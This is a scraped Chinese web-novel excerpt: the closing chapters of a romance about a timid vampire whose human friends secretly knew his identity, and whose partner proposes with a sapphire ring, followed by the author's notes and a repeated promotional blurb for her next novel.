宁尔看他俩真的不打算多问,松了口气的心情没持续多久,忽然又有种淡淡的酸涩感。 他们完全不过问,是不是也和自己有点太生疏了? 是因为太久没在一起相处,还是他消失的这段时间生疏了? 还是他们有其他更好的朋友了? 地牢里莱特那张扭曲的脸一瞬间浮现在宁尔的脑海里,还有他那句恶狠狠的“朋友算什么?” 宁尔感觉脑袋有些发疼,疼地他扶住了额头。 陈元之和靳伟直到把一盘毛肚都吃完,才发现宁尔不适。 陈元之赶紧问: “怎么了?头疼吗?” 宁尔尽量克制让自己不去想莱特,使劲晃了晃脑袋,神色不经意间有些拘谨: “没事,没事。” “可能是太热了,我去开点窗。” 陈元之接着说: “以前咱们那个出租屋门窗漏风,缩在一起吃顿火锅温度正好。” 靳伟也嗯了一声,回忆起之前在出租屋的事: “之前有几个混混,有男有女,可能是见过宁尔,有一天喝醉了挨家挨户敲门,要找一个漂亮男孩。” 宁尔还是第一次听说这件事,睁大眼睛: “还有这种事吗伟哥?我、我怎么不知道?” 靳伟和陈元之嗤笑了一声: “他们都敲到我俩那儿了,还能轮到你?在我俩面前当混混,真是见到祖师爷了。” 宁尔看他俩这样: “你们打架了?” “不能算打架,你伟哥一脚过去,领头那个被踹飞两米远。我就更厉害了,只是问了一句还打吗,几个人就屁股尿流跑了。” 宁尔表情有些复杂,在自己完全不知道的情况下他们又帮过自己,嘴唇动了动: “谢谢……” 陈元之摆了摆手: “害,谢什么谢,都过去了。” “现在住在这种高档小区,再也不会遇到这种事了。” “……” 宁尔看着那张唯一的旧桌子出神,他多么希望哪怕住在这里,拥有了傅宴舟,也能和靳伟元之友谊如旧。 “傅总看来是赶不上火锅了,我去切点水果。” 靳伟把火关掉起身。 “我去帮你。”陈元之跟着站起来,酒意微醺地顺手把胳膊搭在靳伟肩上。 “伟哥我也帮忙。”宁尔跟着站起来。 “你坐着吧,切个水果,又不是扛沙袋。” “来者是客,乖乖待着吧。” 陈元之和靳伟勾肩搭背,大大咧咧走进厨房。 宁尔看着他俩的背影,脚步一时间定在了原地。 来者是客…… 宁尔有些无措,又重新坐下,看着陈元之和靳伟空了的酒杯,拿起来剩下的啤酒帮他们倒上。 他们切了很久水果,中途傅宴舟发来消息,说他的会议还得一小会儿,问宁尔吃得怎么样。 宁尔想了想打字: [火锅,很好吃。靳伟和元之也很好。他们没有追问我消失的事情,哥哥放心~] [看来,不用担心暴露身份了?] [嗯,不用了。] 不仅不用担心暴露吸血鬼的身份,其他身份好像也快没有了。 他现在是……他们的客人。 没等宁尔再回复,厨房里忽然传来一声陈元之的叫声,紧接着是铁器落地的声音。 宁尔想都没想一个箭步瞬移进了厨房,陈元之正捂着手指,鲜血哗哗往外冒。 又是一个新鲜人类的血液,宁尔瞬间被冲地头有些发晕,靳伟紧张地抓起陈元之的手指: “小耳朵,去拿纱布创可贴,药箱在茶几下抽屉里。” 宁尔又火速冲回客厅,快速拉开抽屉翻找药箱。 他也顾不得保持整齐,抓到东西就先扔出去,直到一本烫金纹路的旧书出现在自己眼前。 书名用汉字、英文、血符三种字体同时写着—— 《吸血鬼饲养指南》—— 作者有话说: 下一章就完结啦,应该也在今天二更!再宣传一下我的下一本预收:《老实人从狗血片场路过[快穿]》 平凡窝囊的社畜安也一觉醒来绑定了老实人系统,任务是扮演好狗血纷飞世界里那个唯一的老实人,推动原书攻受大和谐。 世界一 帝国高岭之花教授Omega被年轻有为的少将看上,高龄之花为爱走下神坛,后来才知道自己从一开始就被当做替身,甚至险些被摘除腺体囚禁起来。 教授伤心欲绝一走三年,三年里,只有安也这个“知心好友”Beta风雨无阻悉心照顾,帮助他一点点走出伤痛。 三年过后,火葬场戏码到来,安也按照剧情要求去拙劣地挑衅完攻,却被那个顶级alpha锁在基地里,墨色眸间的欲望倾泻而出: “你不为我所动的样子很像当初的他。” 安也拼命甩开攻逃回家,下一秒却被朝夕相处三年、酒意微醺的清冷的教授按在墙上: “你害怕时,颤抖的样子都和我很像。我喜欢闻你身上沾染的我的信息素的味道。小也,外面很危险,别出去了。” 不是,这对吗? 世界二 京圈少爷攻看上了舞蹈学院的贫苦小白花,一通巧取豪夺强制爱在法制咖红线游走。 小白花誓死不从,盯上了他们京圈少爷里唯一一个窝囊废安也。 少爷攻听说“情敌”竟然是一直跟在他们屁股后面的那个窝囊废,当晚冲到安也家把人堵在卧室里: “小也,长大了,怎么敢和哥哥抢东西了?你这张床,小时候还和哥哥一起睡过吧?” 安也拼死抗住少爷攻的种种奇葩报复手段,小白花却仍旧在酒吧被下药。 安也把人捞回来,又是喂水又是喂药,却被意乱情迷小白花反手按在床上: “小也,难受,帮帮我。” 等等,先等等呢? 世界三 安也是地主家短命的残疾少爷,主角受是被他家强娶来的冲喜夫人,等他一死就会自动变成小寡妇和主角攻搞在一起。 真·混吃等死。 没想到好景不长,登徒子攻半夜爬错了窗,抱起来安也就往外跑。安也拼命推他“错了错了”。 攻闻言一愣,握着手中盈盈一把的腰身,低笑一声: “现在送你回去也是死,牡丹花下也是死。” 被及时就回来的安也吓得萎靡不振,当即决定和受和离,却发现没有一个下人再听他使唤。 “少爷,夫人说您脑子吓傻了说胡话。今晚他去您房里照顾您。” “夫郎,腿坏了躺好就可以,不是么?” 停停停停停- [全世界的攻受都吻上来了怎么办] [老实人不是用来干这个的] 食用指南: 1.应该算万人迷,但真普通老实人受 2.正牌攻不是原书攻受,切片攻。 3.4-5个世界,后面大家想看什么世界可留言 4.偏慢穿,控党误入。【`xs.c`o`m 网】 【全文完】 第77章 (正文完结) 我要你永远可以…… 靳伟和陈元之像是也想起来了, 冲出来的时候就看到宁尔已经痴痴地站在原地盯着那本书看了。 靳伟先拿出药盒帮陈元之把伤口贴住,然后两个人并肩站在一起,有些不知所措地看着宁尔。 宁尔蹲下, 伸手, 捡起那本纸页发黄的书, 缓缓翻动起来, 这本书应该很古老了, 记录的不知道都是哪个世纪的吸血鬼注意守则, 今天看起来似乎已经有些漏洞百出。 很多地方没有汉字, 旁边就会出现一个小小的便利贴, 用歪歪扭扭的字写上翻译。 书翻到最后一页, 夹了十几张厚厚的纸。 宁尔把那些纸打开,是靳伟和陈元之的字迹。 [小吸血鬼饲养、划掉, 相处指南(更新后)] [小吸血鬼喜欢吃鸭血粉丝汤味儿的薯片,大包] [小吸血鬼喜欢吃棒棒糖] [小吸血鬼并不会见到阳光就灰飞烟灭,我亲眼看到过他睡过头太阳晒在身上,可他自己似乎很害怕。尽量不要让他接触阳光。] [小吸血鬼又救了一个人类。] [小吸血鬼是善良的。] [补充,并不是所有吸血鬼都是善良的。但小耳朵是。] 宁尔一页一页翻完这些纸, 翻到最后眼睛已经湿润到模糊,眼泪吧嗒掉在一页书纸上,黑色的墨汁洇成一团。 靳伟和陈元之看他哭了,一时间更手足无措: “宁尔你听我们解释……” “你们是什么时候知道的?” 宁尔抬起头,漂亮的脸蛋上眼圈和鼻尖都红着。 “……” “大概……从我们第一次见面, 你救了我之后吧。”靳伟轻轻叹了一口气, 如实回答。 “一个这么瘦弱的小男孩,怎么可能推动那么重的脚手架。” “知道我是吸血鬼,还把我带回来吗?你们知不知道吸血鬼失控的概率很大很大?” 宁尔有点彻底搞不懂人类的脑回路了。 “靠。”陈元之笑骂了一声, 仿佛在回忆当初: “怕啊,一开始怕得要死。也想过帮你交了房租分开住,后来看你饿到头晕都没吃我们,猜到你是个好鬼。” “反正我这条命也是你救的,死你手里算还了。”一说到这种话,靳伟身上那股痞气就又出来了。 “你一直没发现吧?”陈元之挠了挠头: “反正有时候演得有点累,但大多数时候真就是把你当正常人亲弟弟。” 难怪他们一直没有怀疑过自己为什么没有身份证,难怪他们一直没有过问自己冰冷的体温和作息,难怪他们能那么轻易相信自己力大无比…… 他自己以为隐藏地很好,原来是他们一直陪着他闹。 “所以你这次消失……我俩非常担心,但书上没写能去哪儿找你,只能一直等着,希望你一切平安。” 陈元之苦笑着,微醺的醉意让他的两颊绯红,眼神中无比真诚,目光中是直白地无奈与懊悔。 仿佛在气恼自己在关键时刻帮不了这个朋友。 “当听说傅总也消失之后,我们反而更放心了一点。我们做不到的,有其他爱你的人可以做到。” 宁尔看着这两个人类,脑子里莱特那张惨白阴湿的脸一点点淡去,他感觉自己此刻好像在被无数温暖包围。 “可、可是……” “如果你们都知道我是吸血鬼了,有醉鬼找我麻烦的时候,为什么还要帮我拦下来?我明明都可以对付。” “知道你能解决就让你去自己面对危险么?这还算什么朋友?” “笨蛋。” 陈元之忍不住用那只没受伤的手又揉了揉宁尔的脑袋。 宁尔此刻眼睛已经又模糊了,看着他那张漂亮的小脸又皱起来要哭,正想着怎么哄他,门铃声适时响起,傅宴舟一身风雪走了进来。 他看着宁尔的表情,又看了看地上掉着的那本书,走上前,握紧宁尔的手和他扣起来。 “现在,都知道了?”傅宴舟轻声问。 “你早就知道了?”宁尔抬头看向傅宴舟。 傅宴舟摇摇头: “也是在你忽然消失之后。我把自己离奇的猜测和他们说,原来他们早就都相信了。” “所以,其实什么都没有变。”傅宴舟捏了捏宁尔的手。 宁尔挣开傅宴舟,当着他的面给了陈元之一个大大的拥抱。 还要去抱靳伟,靳伟毕竟忌惮傅宴舟这个顶头大上司,赶紧退后了半步,宁尔却直接追上去也一把抱住了他。 靳伟下意识看傅宴舟,傅宴舟的目光却始终在宁尔身上,嘴角微扬,深邃的眼中是无尽的缱绻温柔。 宁尔抱够了,眼泪憋回去了,回到傅宴舟身边: “哥哥,你还吃火锅吗?可以再热一下。” “好多好吃的你都没吃到……” “今天先不吃了。” 傅宴舟拉了拉他的手: “想吃明天再来就好。” 陈元之:“……行,你倒是也不客气。” 宁尔和傅宴舟一起离开,靳伟和陈元之裹着羽绒服,一直送到大门口。 宁尔看着路灯下两个人的脸,一次又一次挥手告别。 “走回去?”傅宴舟没着急开车。 两家距离三公里左右,宁尔伸出手感受了一下温度,偏转脑袋: “你行吗哥哥?” 这样冷的天气里走路三公里,还不知道傅宴舟的身体有没有进化到这个水平。 傅宴舟笑了笑,牵着宁尔的手往前走去。 元旦的夜里人类都在城里热闹,别墅郊区反而安静一些。 间隔有序的路灯散发着暖黄色的光,墨绿色的冬柏挺立在冬夜里。积雪未融,踩在上面发出轻微的吱呀声。 两人手牵手,肩并肩,沿着一条直线大道一路往前走去。 “哥哥,你吃晚饭了吗?” “还没有,等会儿回家吃一点。” “那你为什么不留下来吃火锅?” “今天是新年,不好多叨扰朋友。” 宁尔赶紧摇了摇头: “不打扰不打扰,刚才是我误会了,元之和靳伟很好的,他们……” 傅宴舟忍不住笑了笑: “就是因为太好了,才不要打扰。” 宁尔愣了一下,反应了一会儿: “什么意思?不是,哥哥你的意思是?……” 傅宴舟看宁尔显然也是意识到了,轻轻点了点头: “我觉得是。至少,靳伟应该是喜欢元之的。” “哇……” 傅宴舟一语点醒梦中人,宁尔脑子里飞速回忆着他们一起相处的点点滴滴,还有刚刚元之切到手靳伟的紧张…… “可,可是我觉得,他们好像并没有在一起呀……” 傅宴舟点点头: “两个男生以爱情的名义在一起,总需要一些时间来接受。” 宁尔不解,抬起头问: “可你喜欢我好像很快啊哥哥?我发了照片之后你就不再删我了。” “……” 傅宴舟轻咳了一声: “可能是因为……” “因为什么?”宁尔好奇地追问。 “因为蓝宝石的召唤吧。” “蓝宝石?” 傅宴舟点点头: “因为我拥有那颗可以穿梭吸血鬼世界的蓝宝石,而你正好又是一只吸血鬼,冥冥之中有缘分的召唤。” 宁尔认真地听着,点了点头: “哦哦,原来是这样啊……” “所以” 他们走到了一处路灯下,傅宴舟忽然松开了宁尔的手,单膝跪在地上,像变魔法一样拿出一个漂亮的红色丝绒盒子。 “你愿意,永远保管我们的这枚蓝宝石吗?” 黑色的大衣曳地,傅宴舟的膝盖稳稳地跪在雪地里,冻红的手指举着小盒子,簌簌雪花落在他的黑发,肩头,落在那枚宝石打造的戒指上,转瞬融化地无影无踪。 宁尔看着傅宴舟,他的眉眼间是那么深邃,英俊的脸上神色那么坚定,幽深漆黑的瞳孔里只映出宁尔一个人的影子。 仿佛此刻全世界只有两个人。 宁尔觉得自己今天好像很怕冷。 冷到他的鼻子冻得发红,冻得发酸,冻得一直想流泪。 他学着自己看过人类电视剧里人类的样子,伸出手,瓷白的手形修长漂亮,骨节分明。 他看着傅宴舟的眼睛,一个字一个字道: “我愿意。” 傅宴舟笑起来,薄唇嘴角上扬,勾起一个比往日都大的幅度,雪花落在他的睫毛上,眼睛都染亮了。 宁尔看着傅宴舟的笑容,这笑容仿佛驱散了一切寒意,一股暖流从心口涌向四肢百骸,戒指被稳稳地套在了无名指上,他笑着去拉傅宴舟,边笑眼睛却不受控地湿润起来。 傅宴舟牵起他的手,认真地把宁尔抱在怀里。 “这颗宝石,没有被爸爸妈妈收走吗?” 傅宴舟摇摇头: “虽然公爵夫妇也没有溯清宝石是从哪一代到了傅家的手里,但这确实是两方缔结和平条约的媒介。” “他们需要遵循条约,继续留在人类世界。” “整个人间,没有比宝宝更合适的拥有者。” 傅宴舟拍了拍宁尔的后背: “以后想回家的时候,也不需要再等每个月的时空之门打开了。” 宁尔感觉自己好不容易不想哭了,可傅宴舟总能三言两语又把他哄得眼圈泛红。 他脑袋依旧靠在傅宴舟肩头,撇了撇嘴: “哥哥,怎么我都回过吸血鬼世界了,还是这么爱哭啊。我是不是太软弱了?” “软弱?” 傅宴舟像是听到了什么难以置信的词,他松开宁尔的拥抱,用两只手握着宁尔的肩头,幽黑的眼眸中是难以言说的复杂: “宝宝,如果没猜错的话,我每天喝得‘药’里,应该有你的血液吧?” 宁尔猛然睁大了眼睛,这件事只有公爵夫妇和他知道,对傅宴舟本人是绝密,他怎么会知道…… “因为失去血液,本来就薄弱的异能、体力,都会变得更低下,对吗?” “如果这样也算软弱,什么算勇敢呢?” 傅宴舟实在太聪明了。 他能从所有的小细节里推断出一切事实,宁尔连犹豫撒谎的机会都没有。 那双看透一切的眼睛里,蕴含着一切对宁尔这样做的心疼,却只能无声地问宁尔“为什么”。 宁尔忽然笑了笑,这次,他也猜到了傅宴舟的问题。 他长长地出了一口气,冰冷的口腔甚至没有像人类一样呵出白气,敛去了所有想哭的感觉,他看着傅宴舟,一字一句认真道: “哥哥,我要你能够站在阳光下。” “从前是这样,往后也一样。” 傅宴舟的身体似乎狠狠颤动了一下,额头青筋跳起,眼眸中是宁尔几乎从未见过的湿润。 他额间发稍颤动,抓着宁尔的双手力气极重,声音沙哑: “无论阳光黑夜,我只想站在你身边。” 宁尔重重地点了点头,反手牵起傅宴舟的手,这回换他拉地更紧一些,两个人继续并肩走在雪地。 “哥哥,其实我想回到人类世界,也不都是为了你啦。” “天赋差了这么多年,我早就已经接受了自己就是一个软弱小哭包的事实了。” “以前在吸血鬼世界的时候什么都干不好,每次都会偷偷害怕别人失望。反而是来到了人类世界,我靠自己一点点做成了直播,还获得了那么多喜欢我的粉丝,我觉得,这件事很有意思,也很有意义。” “更何况,人类世界还有这么多爱我的人,还有你。” 傅宴舟紧紧拉着他的手,掌心炽热的温度不断向宁尔传导过去,无声地郑重点头。漫天雪花簌簌落下,仿佛每片雪花都有了温度。 两个人不知道一起走了多久,时间也是十点多了。 宁尔让傅宴舟吃点东西,自己先迅速冲个澡开播。 他刚刚回归,一天两小时早就不够了,能播多久就尽量播多久。 之前的语音房形式也不够用,缘来全面开通了视频直播功能,宁尔都没选择就被分在了视频区。 他迅速冲完澡,头发都没吹干,从衣柜里随手挑了一件黑色衬衫,等穿上之后才发现这件衬衫竟然有些隐隐约约的透视感。 什么都没露,但就是很……骚。 宁尔看着镜子的脸一红,手机一直在震动,没时间再换了,反正傅宴舟还得吃饭洗澡,一时半会儿应该发现不了…… 他进入直播间,今天的在线人数比昨天还要多,看到宁尔这副湿哒哒还身着透视黑衬衫样子,瞬间又都是啊啊啊啊啊啊。 宁尔怪不好意思地又把衬衫领子往上提了提,手上的蓝宝石钻戒露在画面里,又是一阵啊啊啊啊啊啊- 傅宴舟洗过热水澡,把冰箱里的药拿出来倒在杯子里,一滴不落地认真送入口中,紧接着又喝了一大杯白水。 一切收拾停当,刚回到书房,正要打开电脑处理一些邮件,忽然收到了一条缘来的消息。 亲亲小耳朵:[哥哥哥哥救急,你还有其他手机号吗?] 银耳粥:[有,怎么弄?] 亲亲小耳朵:[我在春风哥的语音房里打pk,有人来踢馆,这次比的是榜五位置,只有榜五是有效的,哥哥你能不能注册个小号当我的榜五?] 银耳粥:[好。] 亲亲小耳朵:[ID别太明显小心被看出来!!] 没一会儿,榜五九出现了一个新注册的号,ID:狂亲小耳朵。 宁尔:“……” “谢、谢谢……谢谢狂亲哥送来的1000个大火箭。” “谢谢狂亲哥送来的1000000个亲亲,狂亲哥真是人如其名呢……” 单比榜五需要前四名都配合,傅宴舟的大号自然稳居榜一,不知道是不是他摇的,乘风破浪来保了榜二。 陈元之一听有人踢馆,立马来了兴趣,一个号占了榜四,榜三是小耳朵实打实的粉丝后援团。 一轮十五分钟的PK,结束,宁尔的榜五毫无疑问地赢下了比赛。 这样的大PK不会一轮就结束,春风总共答应了三轮,中场是休息惩罚时间。 私信里都是各种对宁尔直播间凝聚力的猛夸,宁尔一时间也得意地翘起嘴角。 对面的惩罚是才艺表演,主播不停地换着音乐跳舞,宁尔看了一会儿,象征性送了个礼物后就兴致寥寥。 他趴在桌子上,看着那个“狂亲小耳朵”,忽然来了兴趣,伸手打字: [先生您好,我是小耳朵,很高兴遇到你。] 没有回复。 [先生您好,其实我不是小耳朵,我是小吸血鬼。] 还是没有回复。 [V我500,看小吸血鬼辣舞。] 狂亲小耳朵:[不行。] 这句倒是回复了。 宁尔噗嗤一声笑出了声,兴致更浓,学着当年的语气: [对不起先生,50可以吗?] 狂亲小耳朵:[不行。]? 50也不行了? [那……5快?] 狂亲小耳朵:[考虑考虑。] “……” [那您考虑好了吗先生?] [没有,我得先问问我老婆。] 宁尔玩心更甚,干脆直接一副无辜的语气演了起来: [请问这位先生您的老婆是?] 这个号迟迟不会消息,消息列表自动刷新了一下,银耳粥的头像跳了又跳,一如当年第一次主动找他聊天那样。 宁尔点进去那条未读消息,消息上只有简短的两个字: [老婆。] (全文完)—— 作者有话说: 完结啦!!!!感谢宝宝们又是大半年的陪伴,评论全部红包掉落! 这本文从头到尾我都觉得很甜很甜,写起来自己心里都每天暖暖的,正如同在陌生人类世界傅总和小耳朵对彼此一直以来的长久陪伴。未来无论面对什么,也一直是两个人一起面对啦!! 希望我们都能从这份爱里体会到陪伴的分量与力量,祝愿宝宝们每天生活都幸福美满。 会掉落免费福利番外,等我继续日常甜甜甜。 我们,下次见。 另外厚脸皮求个五星好评啦~球球啦~ 下一本开《老实人从狗血片场路过[快穿]》,是一个不一样类型的受,关注我一下继续猛猛吃!!同时也跪求收藏专栏不迷路啦~ 平凡窝囊的社畜安也一觉醒来绑定了老实人系统,任务是扮演好狗血纷飞世界里那个唯一的老实人,推动原书攻受大和谐。 世界一 帝国高岭之花教授Omega被年轻有为的少将看上,高龄之花为爱走下神坛,后来才知道自己从一开始就被当做替身,甚至险些被摘除腺体囚禁起来。 教授伤心欲绝一走三年,三年里,只有安也这个“知心好友”Beta风雨无阻悉心照顾,帮助他一点点走出伤痛。 三年过后,火葬场戏码到来,安也按照剧情要求去拙劣地挑衅完攻,却被那个顶级alpha锁在基地里,墨色眸间的欲望倾泻而出: “你不为我所动的样子很像当初的他。” 安也拼命甩开攻逃回家,下一秒却被朝夕相处三年、酒意微醺的清冷的教授按在墙上: “你害怕时,颤抖的样子都和我很像。我喜欢闻你身上沾染的我的信息素的味道。小也,外面很危险,别出去了。” 不是,这对吗? 世界二 京圈少爷攻看上了舞蹈学院的贫苦小白花,一通巧取豪夺强制爱在法制咖红线游走。 小白花誓死不从,盯上了他们京圈少爷里唯一一个窝囊废安也。 少爷攻听说“情敌”竟然是一直跟在他们屁股后面的那个窝囊废,当晚冲到安也家把人堵在卧室里: “小也,长大了,怎么敢和哥哥抢东西了?你这张床,小时候还和哥哥一起睡过吧?” 安也拼死抗住少爷攻的种种奇葩报复手段,小白花却仍旧在酒吧被下药。 安也把人捞回来,又是喂水又是喂药,却被意乱情迷小白花反手按在床上: “小也,难受,帮帮我。” 等等,先等等呢? 世界三 安也是地主家短命的残疾少爷,主角受是被他家强娶来的冲喜夫人,等他一死就会自动变成小寡妇和主角攻搞在一起。 真·混吃等死。 没想到好景不长,登徒子攻半夜爬错了窗,抱起来安也就往外跑。安也拼命推他“错了错了”。 攻闻言一愣,握着手中盈盈一把的腰身,低笑一声: “现在送你回去也是死,牡丹花下也是死。” 被及时就回来的安也吓得萎靡不振,当即决定和受和离,却发现没有一个下人再听他使唤。 “少爷,夫人说您脑子吓傻了说胡话。今晚他去您房里照顾您。” “夫郎,腿坏了躺好就可以,不是么?” 停停停停停- [全世界的攻受都吻上来了怎么办] [老实人不是用来干这个的] 食用指南: 1.应该算万人迷,但真普通老实人受 2.正牌攻不是原书攻受,切片攻。 3.4-5个世界,后面大家想看什么世界可留言 4.偏慢穿,控党误入。【`xs.c`o`m 网】